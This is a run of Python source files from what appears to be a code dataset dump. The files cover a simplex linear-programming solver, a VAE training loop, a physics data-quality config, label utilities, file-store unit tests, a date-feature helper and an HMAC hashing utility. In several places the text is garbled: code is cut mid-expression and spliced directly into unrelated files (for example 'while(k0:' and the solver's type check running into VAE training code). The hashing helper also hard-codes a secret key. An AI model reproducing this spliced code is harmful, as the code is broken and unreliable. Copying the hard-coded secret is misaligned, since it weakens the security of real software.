k=len(vector)\n j=len(vector)+numOfArtificialVariables\n \n while(k0:\n positiveResult.append(i)\n #returns the artificial values which have a positive value in a list\n return positiveResult\n\ndef omitComments(listOfstrings):\n '''This method receives a list of strings and delete every comments that it has. The comments must start\n with \"#\" or \"//\". It returns the same list of strings without comments. If the parameters are not correct,\n it returns None.'''\n \n #It is checked if parameters are correct \n #comprobar que todos son strings\n if type(listOfstrings)!= list or not isStringList(listOfstrings): \n return None\n \n aux=[]\n #Comments are looked for\n for i in range(len(listOfstrings)):\n if listOfstrings[i].strip().startswith(\"//\") or listOfstrings[i].strip().startswith(\"#\"):\n aux.append(i)\n elif \"#\" in listOfstrings[i] and not listOfstrings[i].strip().startswith(\"//\"):\n listOfstrings[i]=listOfstrings[i].split(\"#\")[0]\n elif \"//\" in listOfstrings[i] and not listOfstrings[i].strip().startswith(\"#\"):\n listOfstrings[i]=listOfstrings[i].split(\"//\")[0]\n #Comments are deleted\n for i in sorted(aux,reverse=True):\n del listOfstrings[i]\n #returns the the list of strings without comments\n return listOfstrings\n \ndef proccessFile(file):\n '''This method receive the name of a file which contains a linnear programming problem. It returns\n the initial matrix of the problem in a numpy matrix, the resources vector of the problem in a numpy array\n signs of the restrictions and the function of the problem in a string. If the parameters are not correct,\n it returns None.'''\n \n #It is checked if parameters are correct \n if type(file)!= io.TextIOWrapper : \n return None\n \n \n #The lines of the file are readed\n data=file.readlines()\n data=omitComments(data)\n file.close()\n matrix = []\n resources = []\n sign=[]\n \n #The funtion is in the first line of the file\n func=data[0]\n #Each restriction is proccesed \n for i in range(len(data)):\n if i>0:\n if \"<\" in data[i] and \"<=\" not in data[i] :\n matrix.append(np.fromstring(data[i].split(\"<\")[0],dtype=float,sep=\" \"))\n resources.append(np.fromstring(data[i].split(\"<\")[1].strip(\"/n\"),dtype=float,sep=\" \"))\n sign.append(\"<\")\n elif \">\" in data[i] and \">=\" not in data[i]:\n matrix.append(np.fromstring(data[i].split(\">\")[0],dtype=float,sep=\" \"))\n resources.append(np.fromstring(data[i].split(\">\")[1].strip(\"/n\"),dtype=float,sep=\" \"))\n sign.append(\">\")\n elif \">=\" in data[i]:\n matrix.append(np.fromstring(data[i].split(\">=\")[0],dtype=float,sep=\" \"))\n resources.append(np.fromstring(data[i].split(\">=\")[1].strip(\"/n\"),dtype=float,sep=\" \"))\n sign.append(\">=\")\n elif \"<=\" in data[i]:\n matrix.append(np.fromstring(data[i].split(\"<=\")[0],dtype=float,sep=\" \"))\n resources.append(np.fromstring(data[i].split(\"<=\")[1].strip(\"/n\"),dtype=float,sep=\" \"))\n sign.append(\"<=\")\n elif \"=\" in data[i] and \"<\" not in data[i] and \">\" not in data[i]:\n matrix.append(np.fromstring(data[i].split(\"=\")[0],dtype=float,sep=\" \"))\n resources.append(np.fromstring(data[i].split(\"=\")[1].strip(\"/n\"),dtype=float,sep=\" \"))\n sign.append(\"=\")\n #ver esto \n #returns the matrix,the resources vector, the signs of the restrictions and the fuction of the problem\n return np.matrix(matrix),np.array(resources),sign,func\n\ndef convertFunctionToMax(function):\n '''This method receive the function vector in a string. It returns the function converted to a max function in\n a numpy array. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct \n \n if type(function)!= str : \n return None\n \n #If the function is a min funcion is converted to max funcion and is casted to a numpy array\n if \"min\" in function.lower():\n functionVector=np.fromstring(function.strip(\"min\"),dtype=float,sep=\" \")*-1\n #If the function is a max funcion is casted to a numpy array\n elif \"max\" in function.lower():\n functionVector=np.fromstring(function.strip(\"max\"),dtype=float,sep=\" \")\n #returns the function vector\n return functionVector\n\ndef invertSign(previousSign):\n '''This method receives a string with a sign and returns other string with sign inverted. If the\n parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct \n\n if type(previousSign) != str: \n return None\n \n newSign=\"\"\n if previousSign == \"<\":\n newSign=\">\"\n elif previousSign == \">\":\n newSign=\"<\"\n elif previousSign == \">=\":\n newSign=\"<=\"\n elif previousSign == \">=\":\n newSign=\"<=\"\n elif previousSign == \"=\":\n newSign=\"=\"\n #returns the sign inverted\n return newSign\n\n\ndef negativeToPositiveResources(matrix,resources,sign):\n '''This method receives a matrix in a numpy matrix, a vector resources in a numpy array and a list of strings\n with the signs. It checks if there is any negative value of the resources, and changes it to a positive value. It\n also changes the restriction and inverted the sign. It returns the matrix in numpy matrix, the vector resources in a numpy array and a list of strings\n with the signs. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct \n if type(matrix)!= np.matrix or type(resources) != np.ndarray or type(sign)!=list or matrix.shape[0]!=len(resources) or matrix.shape[0]!=len(sign) or len(resources)!=len(sign) or not isStringList(sign):\n return None\n \n #If there are negative values in the resources, the restrictions, the resources and the sign change\n for i in range(len(resources)):\n if resources[i]<0:\n resources[i]=resources[i]*-1\n matrix[i]=matrix[i]*-1\n sign[i]=invertSign(sign[i])\n \n #returns the matrix, the resources and the sign\n return matrix,resources,sign\n\ndef convertToStandardForm(matrix,resources,sign,function):\n '''This method receives a matrix with restricions in a numpy matrix, a vector resources in a numpy array, a list of strings\n with the signs and a string with the function. It returns the matrix in numpy matrix, the vector resources in a numpy array\n ,a list of strings with the signs and a numpy array with the coefficents of the function converted to standard form . If the\n parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct \n if type(matrix)!= np.matrix or type(resources) != np.ndarray or type(sign)!=list or type(function) != str or matrix.shape[0]!=len(resources) or matrix.shape[0]!=len(sign) or len(resources)!=len(sign) or not isStringList(sign):\n return None\n #The function is converted to a max function\n function=convertFunctionToMax(function)\n #The negative resources are converted to positive resources\n positiveResources=negativeToPositiveResources(matrix,resources,sign)\n matrix=positiveResources[0]\n resources=positiveResources[1]\n sign=positiveResources[2]\n \n #ver porque no coge esto\n # print(sign[0] is \"<=\")\n #Change the sign to equal and add variables to matrix and to the function\n for i in range(len(sign)):\n newColumn=np.zeros(len(sign))\n \n if sign[i]!=\"=\":\n if sign[i] == \"<=\" or sign[i] == \"<\":\n newColumn[i]=1\n \n elif sign[i] == \">=\" or sign[i] == \">\": \n newColumn[i]=-1\n \n \n matrix=np.c_[matrix,newColumn]\n sign[i]=\"=\"\n function=np.append(function,0)\n \n #returns the matrix, the resources, the sign and the function vector \n return matrix,resources,sign,function \n \ndef solveProblem(matrix,resources,sign,function,solutionOfDualProblem):\n '''This method receives a matrix with restricions in a numpy matrix, a vector resources in a column numpy array, a list of strings\n with the signs and a string with the function., and if the user wants the dual problem solution in a boolean.\n It returns the solution of the problem and the final value of the function. It also prints every steps of the\n problem. If the parameters are not correct, it returns None.'''\n \n #It is checked if parameters are correct \n #meter la comprobacion de que todos los signos son strings\n if type(matrix)!= np.matrix or type(resources) != np.ndarray or type(sign)!=list or type(function) != str or matrix.shape[0]!=len(resources) or matrix.shape[0]!=len(sign) or len(resources)!=len(sign) or type(solutionOfDualProblem)!=bool or not isStringList(sign):\n return None\n \n \n #lo hago con una variable para que no se tenga que ejecutar 4 veces el metodo\n #The data of the file is converted to standard form \n standardForm=convertToStandardForm(matrix,resources,sign,function)\n totalMatrix=standardForm[0]\n #ver porque coge la b como un vector normal\n b=standardForm[1]\n\n functionVector=standardForm[3]\n\n #It is checked if it is neccessary to add columns of the identity matrix\n identityColumnsToAdd = addIdentityColumns(totalMatrix)\n #The artificial variables are added to function vector\n functionVector=addArtificialVariablesToFunctionVector(functionVector,identityColumnsToAdd.shape[1])\n #It is calculated which are artificial variables\n print(\"Function total\"+str(functionVector))\n artificialVariables= calculateWhichAreArtificialVariables(functionVector,identityColumnsToAdd.shape[1])\n \n if identityColumnsToAdd.shape[1]>0:\n #The identity columns are added to initial matrix\n totalMatrix=np.c_[totalMatrix,identityColumnsToAdd]\n \n print(totalMatrix)\n print(standardForm[1])\n \n \n #The columns of first iteration are calculated\n columnsOfIteration=variablesFirstIteration(totalMatrix)\n \n \n print(\"Iteration#0\")\n #The columns of iteration are showed\n showIterCol(columnsOfIteration)\n #The first iteration is solve\n results=solveIteration(totalMatrix,b,functionVector,columnsOfIteration)\n cont = 1\n print(results[3])\n #While there is another iteration the problem continues\n while (results[4] and results[4]!=-1 and results[3]!=None):\n \n iteration=cont\n cont+=1\n print(\"Iteration#\"+str(iteration))\n #The columns of the iteration are calculated\n columnsOfIteration=calculateColumnsOfIteration(results[2],results[3],columnsOfIteration)\n #The columns of iteration are showed\n showIterCol(columnsOfIteration)\n #The iteration is solve\n results=solveIteration(totalMatrix,b,functionVector,columnsOfIteration)\n \n \n #The complete solution is calculated\n finalSolution=completeSolution(columnsOfIteration,totalMatrix.shape[1],results[0])\n #It is checked if there are artificial variables with positive values\n if results[3] == None:\n print(\"The problem is not bounded, because it can not exit any variable.\")\n \n if artificialVariables:\n thereIsASolution=checkValueOfArtificialVariables(artificialVariables,finalSolution)\n if thereIsASolution:\n return \"The problem does not have solution because the artificial variable/s\"+str(thereIsASolution)+\"has/have postive value.\"\n \n #If the user wants the solution of the dual problem, it is showed\n if solutionOfDualProblem:\n #returns the solution,the final value of the function and the solution of the dual problem\n return finalSolution,results[1],calculateSolutionOfDualProblem(columnsOfIteration,functionVector,totalMatrix) \n \n #returns the solution and the final value of the function\n return finalSolution,results[1]\n\ndef calculateSolutionOfDualProblem(colsOfIteration,function,totalMatrix):\n '''This method receive the columns of the last iteration in a numpy array, the complete function vector in a numpy array and\n the initial matrix of the problem in a numpy matrix. It returns the solution of the dual problem in a numpy array. If the parameters are not correct, it\n returns None.'''\n \n #It is checked if parameters are correct \n \n if type(totalMatrix)!= np.matrix or type(colsOfIteration) != np.ndarray or type(function) != np.ndarray or totalMatrix.shape[1]!=len(function) or totalMatrix.shape[1] 1\n losses.update(loss.data[0], inputs.size(0))\n\n # Compute the gradient\n loss.backward()\n optimizer.step()\n epoch_loss += loss.data[0]\n\n # Logging\n # Adding graph is a lot of overhead\n #logger.add_graph_onnx(vae)\n\n # log loss values every iteration\n logger.add_scalar('data/(train)loss_val', losses.val, batch_idx + 1)\n logger.add_scalar('data/(train)loss_avg', losses.avg, batch_idx + 1)\n\n # log the layers and layers gradient histogram and distributions\n #for tag, value in vae.named_parameters():\n # tag = tag.replace('.', '/')\n # logger.add_histogram('model/(train)' + tag, to_numpy(value), batch_idx + 1)\n # logger.add_histogram('model/(train)' + tag + '/grad', to_numpy(value.grad), batch_idx + 1)\n\n # log the outputs of the autoencoder\n logger.add_image('model/(train)output', make_grid(recon_batch.data), batch_idx + 1)\n #logger.add_image('model/(train)output', make_grid(dec.data), batch_idx + 1)\n\n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(trainloader.dataset),\n 100. * batch_idx / len(trainloader), loss.data[0]))\n\n #if epoch < 10:\n # Get latent encoding\n #latent_array = encoder(inputs).data[0].cpu().numpy()\n #filename = 'latent_epoch' + str(epoch)\n #np.save('./latent_saves/kl_bce_latent3/' + filename, latent_array)\n\n # Get reconstructed image\n #reconstructed_array = vae(inputs).data[0].cpu().numpy().reshape(21, 21)\n #recon_filename = 'reconstructed_epoch' + str(epoch)\n #np.save('./reconstruct_saves/kl_bce_latent3/' + recon_filename, reconstructed_array)\n\n if epoch % 10 == 0:\n torch.save(vae.state_dict(), args.save_path + 'epoch' + str(epoch))\n\n #latent_array = encoder(inputs).data[0].cpu().numpy()\n #filename = 'latent_epoch' + str(epoch)\n #np.save('./latent_saves/kl_bce_latent3/' + filename, latent_array)\n\n reconstructed_array, _, _ = vae(inputs).data[0].cpu().float().numpy().reshape(21, 21)\n recon_filename = 'reconstructed_epoch' + str(epoch)\n np.save('./reconstruct_saves/kl_bce_latent3/' + recon_filename, reconstructed_array)\n\n #logger.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"molecules/models/unsupervised/linear_vae/alt_main.py","file_name":"alt_main.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"364517922","text":"# Copyright (C) 2002-2019 CERN for the benefit of the ATLAS collaboration\n\nfrom DataQualityUtils.DQWebDisplayConfig import DQWebDisplayConfig\n\ndqconfig = DQWebDisplayConfig()\ndqconfig.config = \"TEST\"\n\n# The \"current\" files are symbolic links that will always point to the revision that is currently used by Tier 0.\n# You can change these settings in your local working copy of this file, but please do not commit the change to SVN.\nhcfg_dir = \"/afs/cern.ch/user/a/atlasdqm/dqmdisk/tier0/han_config/HeavyIons\"\nrevision = \"current\"\n\ndqconfig.hcfg = \"%s/heavyions_run.%s.hcfg\" % (hcfg_dir, revision)\ndqconfig.hcfg_min10 = \"%s/heavyions_minutes10.%s.hcfg\" % (hcfg_dir, revision)\ndqconfig.hcfg_min30 = \"%s/heavyions_minutes30.%s.hcfg\" % (hcfg_dir, revision)\n\ndqconfig.histogramCache = \"/afs/cern.ch/user/a/atlasdqm/w1/histogram_web_display_cache\"\ndqconfig.hanResultsDir = \"/afs/cern.ch/user/a/atlasdqm/dqmdisk/han_results/test\"\ndqconfig.htmlDir = \"/afs/cern.ch/user/a/atlasdqm/dqmdisk/www/test\"\ndqconfig.htmlWeb = \"http://atlasdqm.web.cern.ch/atlasdqm/test\"\ndqconfig.runlist = \"runlist_TEST.xml\"\ndqconfig.indexFile = \"results_TEST.html\"\ndqconfig.lockFile = \"DQWebDisplay_TEST.lock\"\ndqconfig.doHandi = False\n","sub_path":"DataQuality/DataQualityConfigurations/python/TestDisplayHI_T0.py","file_name":"TestDisplayHI_T0.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"297665789","text":"#\n# Copyright (c) 2020 Cord Technologies Limited\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom cord.orm.label_blurb import Label\nfrom cord.utils.str_constants import *\n\n\ndef construct_answer_dictionaries(label):\n \"\"\"\n Adds answer object and classification answer dictionaries from a blurb if they do not exist.\n Integrity checks are conducted upon saving of labels.\n\n Args:\n label: A label blurb.\n\n Returns:\n Label: A label blurb instance with updated answer dictionaries\n \"\"\"\n label = Label(label) # Cast to Label ORM\n labels = label.labels\n\n if OBJECT_ANSWERS in label:\n object_answers = label.object_answers\n else:\n object_answers = {}\n\n if CLASSIFICATION_ANSWERS in label:\n classification_answers = label.classification_answers\n else:\n classification_answers = {}\n\n for frame in labels:\n items = labels[frame].get(OBJECTS) + labels[frame].get(CLASSIFICATIONS)\n\n for item in items:\n if OBJECT_HASH in item:\n object_hash = item.get(OBJECT_HASH)\n if object_hash not in object_answers:\n object_answers[object_hash] = {\n OBJECT_HASH: object_hash,\n CLASSIFICATIONS: [],\n }\n\n if CLASSIFICATION_HASH in item:\n classification_hash = item.get(CLASSIFICATION_HASH)\n if classification_hash not in classification_answers:\n classification_answers[classification_hash] = {\n CLASSIFICATION_HASH: classification_hash,\n CLASSIFICATIONS: [],\n }\n\n label[OBJECT_ANSWERS] = object_answers\n label[CLASSIFICATION_ANSWERS] = classification_answers\n return label\n","sub_path":"cord/utils/label_utils.py","file_name":"label_utils.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"625398795","text":"# This file is part of the Reproducible and Reusable Data Analysis Workflow\n# Server (flowServ).\n#\n# Copyright (C) 2019-2021 NYU.\n#\n# flowServ is free software; you can redistribute it and/or modify it under the\n# terms of the MIT License; see LICENSE file for more details.\n\n\"\"\"Unit tests for the S3 bucket store. Uses the TestBucket to simulate S3\nbuckets.\n\"\"\"\n\nimport json\nimport os\nimport pytest\n\nfrom flowserv.config import Config\nfrom flowserv.model.files.fs import FileSystemStore, FSFile, walk\nfrom flowserv.model.files.s3 import BucketStore\nfrom flowserv.tests.files import DiskBucket\n\nimport flowserv.error as err\nimport flowserv.util as util\n\n\n\"\"\"Test data.\"\"\"\nDATA1 = {'A': 1}\nDATA2 = {'B': 2}\nDATA3 = {'C': 3}\nDATA4 = {'D': 4}\nEXDATA = [DATA2, DATA3]\n\nFILE_A = 'A.json'\nFILE_B = os.path.join('examples', 'B.json')\nFILE_C = os.path.join('examples', 'C.json')\nFILE_DATA = os.path.join('examples', 'data', 'data.json')\nFILE_D = os.path.join('docs', 'D.json')\n\n\n# -- Helper Methods -----------------------------------------------------------\n\ndef create_files(basedir):\n \"\"\"Create file structure:\n A.json -> DATA1\n examples/B.json -> DATA2\n examples/C.json -> DATA3\n examples/data/data.json -> EXDATA\n docs/D.json -> DATA4\n\n Returns the list of file objects an their relative paths.\n \"\"\"\n # Ensure that the base directory exists.\n os.makedirs(basedir, exist_ok=True)\n # Create files and keep records in file list.\n files = list()\n # A.json\n fileA = os.path.join(basedir, FILE_A)\n util.write_object(obj=DATA1, filename=fileA)\n files.append((FSFile(fileA), FILE_A))\n # examples/B.json\n fileB = os.path.join(basedir, FILE_B)\n os.makedirs(os.path.dirname(fileB))\n util.write_object(obj=DATA2, filename=fileB)\n files.append((FSFile(fileB), FILE_B))\n # examples/C.json\n fileC = os.path.join(basedir, FILE_C)\n util.write_object(obj=DATA3, filename=fileC)\n files.append((FSFile(fileC), FILE_C))\n # examples/data/data.json\n fileData = os.path.join(basedir, FILE_DATA)\n os.makedirs(os.path.dirname(fileData))\n util.write_object(obj=EXDATA, filename=fileData)\n files.append((FSFile(fileData), FILE_DATA))\n # docs/D.json\n fileD = os.path.join(basedir, FILE_D)\n os.makedirs(os.path.dirname(fileD))\n util.write_object(obj=DATA4, filename=fileD)\n files.append((FSFile(fileD), FILE_D))\n return files\n\n\ndef create_store(store_id, basedir):\n \"\"\"Create an instance of the file store with the given identifier.\"\"\"\n if store_id == 'BUCKET':\n return BucketStore(env=Config(), bucket=DiskBucket(basedir=basedir))\n else:\n return FileSystemStore(env=Config().basedir(basedir))\n\n\n@pytest.mark.parametrize('store_id', ['FILE_SYSTEM', 'BUCKET'])\ndef test_delete_files_and_folders(store_id, tmpdir):\n \"\"\"Test deleting folders in the file store.\"\"\"\n # -- Setup ----------------------------------------------------------------\n # Initialize the file store and create files in the file store base\n # direcory.\n fs = create_store(store_id, str(tmpdir))\n create_files(str(tmpdir))\n # -- Delete folder --------------------------------------------------------\n # Initially file A, B and DATA can be read.\n assert json.load(fs.load_file(FILE_A).open()) == DATA1\n assert json.load(fs.load_file(FILE_B).open()) == DATA2\n assert json.load(fs.load_file(FILE_DATA).open()) == EXDATA\n fs.delete_folder('examples')\n # After deleting the examples folder file A can be read but not B and DATA.\n assert json.load(fs.load_file(FILE_A).open()) == DATA1\n with pytest.raises(err.UnknownFileError):\n fs.load_file(FILE_B).open()\n with pytest.raises(err.UnknownFileError):\n fs.load_file(FILE_DATA).open()\n # Delete an unknown folder has no effect.\n fs.delete_folder('examples')\n # -- Delete file ----------------------------------------------------------\n # Initially file A and D can be read.\n assert json.load(fs.load_file(FILE_A).open()) == DATA1\n assert json.load(fs.load_file(FILE_D).open()) == DATA4\n fs.delete_file(FILE_D)\n # After deleting file D only file A but not file D can be read.\n assert json.load(fs.load_file(FILE_A).open()) == DATA1\n with pytest.raises(err.UnknownFileError):\n fs.load_file(FILE_D).open()\n # Delete an unknown file has no effect.\n fs.delete_folder(FILE_D)\n\n\n@pytest.mark.parametrize('store_id', ['FILE_SYSTEM', 'BUCKET'])\ndef test_file_size(store_id, tmpdir):\n \"\"\"Test getting the size of uploaded files.\"\"\"\n # -- Setup ----------------------------------------------------------------\n # Initialize the file store and create the input file structure.\n fs = create_store(store_id, os.path.join(tmpdir, 'fs'))\n files = create_files(os.path.join(tmpdir, 'data'))\n KEY = '0000'\n fs.store_files(files=files, dst=KEY)\n # Check size of file A and DATA. File size may differ based on the system\n # but the data file should be larger in size than file A.\n size_a = fs.load_file(os.path.join(KEY, FILE_A)).size()\n assert size_a > 0\n assert fs.load_file(os.path.join(KEY, FILE_DATA)).size() > size_a\n\n\ndef test_file_system_walk(tmpdir):\n \"\"\"Test walk function to recursively collect upload files.\"\"\"\n # -- Setup ----------------------------------------------------------------\n create_files(tmpdir)\n # -- Walk that collects all files in the created file sturcture -----------\n all_files = walk(files=[(tmpdir, None)])\n all_targets = ([target for _, target in all_files])\n assert len(all_files) == 5\n assert FILE_A in all_targets\n assert FILE_B in all_targets\n assert FILE_C in all_targets\n assert FILE_D in all_targets\n assert FILE_DATA in all_targets\n # Ensure that we can load all files.\n for f, _ in all_files:\n json.load(f.open())\n # -- Walk that collects only files in the experiment folder ---------------\n result = walk(files=[(os.path.join(tmpdir, 'examples'), 'run')])\n x_files = ([target for _, target in result])\n assert len(x_files) == 3\n assert os.path.join('run', 'B.json') in x_files\n assert os.path.join('run', 'C.json') in x_files\n assert os.path.join('run', 'data', 'data.json') in x_files\n\n\n@pytest.mark.parametrize('store_id', ['FILE_SYSTEM', 'BUCKET'])\ndef test_load_file_and_write(store_id, tmpdir):\n \"\"\"Test getting a previously uploaded file and writing the content to the\n file system.\n \"\"\"\n # -- Setup ----------------------------------------------------------------\n # Initialize the file store and create the input file structure. Upload\n # only file A.\n fs = create_store(store_id, os.path.join(tmpdir, 'fs'))\n files = create_files(os.path.join(tmpdir, 'data'))\n KEY = '0000'\n fs.store_files(files=[files[0]], dst=KEY)\n # -- Read and write file A.\n filename = os.path.join(tmpdir, 'tmp')\n fs.load_file(os.path.join(KEY, FILE_A)).store(filename)\n assert util.read_object(filename) == DATA1\n\n\n@pytest.mark.parametrize('store_id', ['FILE_SYSTEM', 'BUCKET'])\ndef test_store_and_copy_folder(store_id, tmpdir):\n \"\"\"Test uploading and downloading folder files.\"\"\"\n # -- Setup ----------------------------------------------------------------\n # Initialize the file store and create the input file structure.\n fs = create_store(store_id, os.path.join(tmpdir, 'fs'))\n files = create_files(os.path.join(tmpdir, 'data'))\n # -- Store all files in the file store (change file D which is the last\n # file in the returned file list to E.json instead of docs/D.json) --------\n file_d, _ = files[-1]\n files = files[:-1] + [(file_d, 'E.json')]\n KEY = '0000'\n fs.store_files(files=files, dst=KEY)\n assert json.load(fs.load_file(os.path.join(KEY, FILE_A)).open()) == DATA1\n assert json.load(fs.load_file(os.path.join(KEY, FILE_B)).open()) == DATA2\n assert json.load(fs.load_file(os.path.join(KEY, FILE_C)).open()) == DATA3\n assert json.load(fs.load_file(os.path.join(KEY, FILE_DATA)).open()) == EXDATA # noqa: E501\n assert json.load(fs.load_file(os.path.join(KEY, 'E.json')).open()) == DATA4\n with pytest.raises(err.UnknownFileError):\n fs.load_file(os.path.join(KEY, FILE_D)).open()\n # -- Download files -------------------------------------------------------\n DOWNLOAD = os.path.join(tmpdir, 'download')\n fs.copy_folder(key=KEY, dst=DOWNLOAD)\n assert util.read_object(os.path.join(DOWNLOAD, FILE_A)) == DATA1\n assert util.read_object(os.path.join(DOWNLOAD, FILE_B)) == DATA2\n assert util.read_object(os.path.join(DOWNLOAD, FILE_C)) == DATA3\n assert util.read_object(os.path.join(DOWNLOAD, FILE_DATA)) == EXDATA\n assert util.read_object(os.path.join(DOWNLOAD, 'E.json')) == DATA4\n assert not os.path.exists(os.path.join(DOWNLOAD, FILE_D))\n\n\n@pytest.mark.parametrize('store_id', ['FILE_SYSTEM', 'BUCKET'])\ndef test_store_name_and_configuration(store_id, tmpdir):\n \"\"\"Test getting the file store string representation.\"\"\"\n # Initialize the file store and create the input file structure.\n fs = create_store(store_id, os.path.join(tmpdir, 'fs'))\n if store_id == 'FILE_SYSTEM':\n assert repr(fs).startswith('-1 and cont<=25):\n listTexts.append(row[5])\n print ('* ' + row[5])\n print()\n cont+=1\n\nprint()\nprint ('** Finished')","sub_path":"Desafio/desafio.py","file_name":"desafio.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"464447716","text":"# Dependencies\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nfrom math import ceil\nimport pandas_flavor as pf\n\n@pf.register_dataframe_method\ndef week_of_month(date):\n first_day = date.replace(day=1)\n \n day_of_month = date.day\n \n if(first_day.weekday() == 6):\n adjusted_dom = (1 + first_day.weekday()) / 7\n else:\n adjusted_dom = day_of_month + first_day.weekday()\n \n return int(ceil(adjusted_dom/7.0))\n \n@pf.register_dataframe_method\ndef get_timeseries_signature_date(x):\n \"\"\"\n Engineers 30 different date and time based features from a single datetime.\n \n Args:\n x ([datetime64[ns]]): A datatime64[ns] dtype column.\n \n Returns:\n DataFrame: A pandas data frame that leverages all of the currently accessible time/date components and several others derived from some date math:\n - index_num: An int64 feature that captures the entire datetime as a numeric value to the second\n - year: The year of the datetime\n - year_iso: The iso year of the datetime\n - yearstart: Logical (0,1) indicating if first day of year (defined by frequency)\n - yearend: Logical (0,1) indicating if last day of year (defined by frequency)\n - leapyear: Logical (0,1) indicating if the date belongs to a leap year\n - half: Half year of the date: Jan-Jun = 1, July-Dec = 2\n - quarter: Quarter of the date: Jan-Mar = 1, Apr-Jun = 2, Jul-Sep = 3, Oct-Dec = 4\n - quarteryear: Quarter of the date + relative year\n - quarterstart: Logical (0,1) indicating if first day of quarter (defined by frequency)\n - quarterend: Logical (0,1) indicating if last day of quarter (defined by frequency)\n - month: The month of the datetime\n - month_lbl: The month label of the datetime\n - monthstart: Logical (0,1) indicating if first day of month (defined by frequency)\n - monthend: Logical (0,1) indicating if last day of month (defined by frequency)\n - yweek_iso: The week ordinal of the iso year\n - yweek: The week ordinal of the year\n - mweek: The week ordinal of the month\n - wday: The number of the day of the week with Monday=1, Sunday=6\n - wday_lbl: The day of the week label\n - mday: The day of the datetime\n - qday: The days of the relative quarter\n - yday: The ordinal day of year\n - weekend: Logical (0,1) indicating if the day is a weekend \n - hour: The hour of the datetime\n - minute: The minutes of the datetime\n - second: The seconds of the datetime\n - msecond: The microseconds of the datetime\n - nsecond: The nanoseconds of the datetime\n - am_pm: Half of the day, AM = ante meridiem, PM = post meridiem\n \"\"\"\n \n # Date-Time Index Feature\n index_num = x.apply(lambda x: x.value)\n \n # Yearly Features\n year = x.dt.year\n year_iso = x.dt.isocalendar().year\n yearstart = x.dt.is_year_start.astype('uint8')\n yearend = x.dt.is_year_end.astype('uint8')\n leapyear = x.dt.is_leap_year.astype('uint8')\n \n # Semesterly Features\n half = np.where(((x.dt.quarter == 1) | ((x.dt.quarter == 2))), 1, 2)\n half = pd.Series(half)\n \n # Quarterly Features\n quarter = x.dt.quarter\n quarteryear = pd.PeriodIndex(x, freq = 'Q')\n quarteryear = pd.Series(quarteryear)\n quarterstart = x.dt.is_quarter_start.astype('uint8')\n quarterend = x.dt.is_quarter_end.astype('uint8')\n \n # Monthly Features\n month = x.dt.month\n month_lbl = x.dt.month_name()\n monthstart = x.dt.is_month_start.astype('uint8')\n monthend = x.dt.is_month_end.astype('uint8')\n \n # Weekly Features\n yweek_iso = x.dt.isocalendar().week\n yweek = x.dt.week\n mweek = x.apply(week_of_month)\n \n # Daily Features\n wday = x.dt.dayofweek + 1\n wday_lbl = x.dt.day_name()\n mday = x.dt.day\n qday = (x - pd.PeriodIndex(x, freq ='Q').start_time).dt.days + 1\n yday = x.dt.dayofyear\n weekend = np.where((x.dt.dayofweek <= 5), 0, 1)\n weekend = pd.Series(weekend)\n \n # Hourly Features\n hour = x.dt.hour\n \n # Minute Features\n minute = x.dt.minute\n \n # Second Features\n second = x.dt.second\n \n # Microsecond Features\n msecond = x.dt.microsecond\n \n # Nanosecond Features\n nsecond = x.dt.nanosecond\n \n # AM/PM\n am_pm = np.where((x.dt.hour <= 12), 'am', 'pm')\n am_pm = pd.Series(am_pm)\n \n # Combine Series\n df = pd.concat([index_num, year, year_iso, yearstart, yearend,\n leapyear, half, quarter, quarteryear, quarterstart,\n quarterend, month, month_lbl, monthstart, monthend,\n yweek_iso, yweek, mweek, wday, wday_lbl,\n mday, qday, yday, weekend, hour,\n minute, second, msecond, nsecond, am_pm\n ], axis=1)\n \n # Get Date and Time Column Names\n column_names = ['index_num', 'year', 'year_iso', 'yearstart', 'yearend',\n 'leapyear', 'half', 'quarter', 'quarteryear', 'quarterstart',\n 'quarterend', 'month', 'month_lbl', 'monthstart', 'monthend',\n 'yweek_iso', 'yweek', 'mweek', 'wday', 'wday_lbl',\n 'mday', 'qday', 'yday', 'weekend', 'hour',\n 'minute', 'second', 'msecond', 'nsecond', 'am_pm']\n \n # Give Columns Proper Names\n df.columns = column_names\n \n return df","sub_path":"tk_augment_time.py","file_name":"tk_augment_time.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"483973559","text":"import hmac\nimport random\nfrom string import letters\nimport unicodedata\n\n\n_secret = \"8e892d6fd453739121d8806f212ad3e5\"\n\n\ndef make_salt():\n return \"\".join(random.choice(letters) for _ in xrange(5))\n\n\ndef make_hash(hash_args, return_value=\"\", salt=\"\", secret=False):\n hash_args_string = \"\".join(hash_args).encode()\n\n if secret:\n hash_args_string += _secret\n\n if salt:\n hash_str = hmac.new(hash_args_string, salt).hexdigest()\n else:\n salt = make_salt()\n hash_str = hmac.new(hash_args_string, salt).hexdigest()\n\n if return_value:\n return '%s|%s~%s' % (return_value, hash_str, salt)\n\n return '%s~%s' % (hash_str, salt)\n\n\ndef valid_hash(hash_values, hash_str, secret=False):\n salt = hash_str.split(\"~\")[-1]\n if make_hash(hash_values, 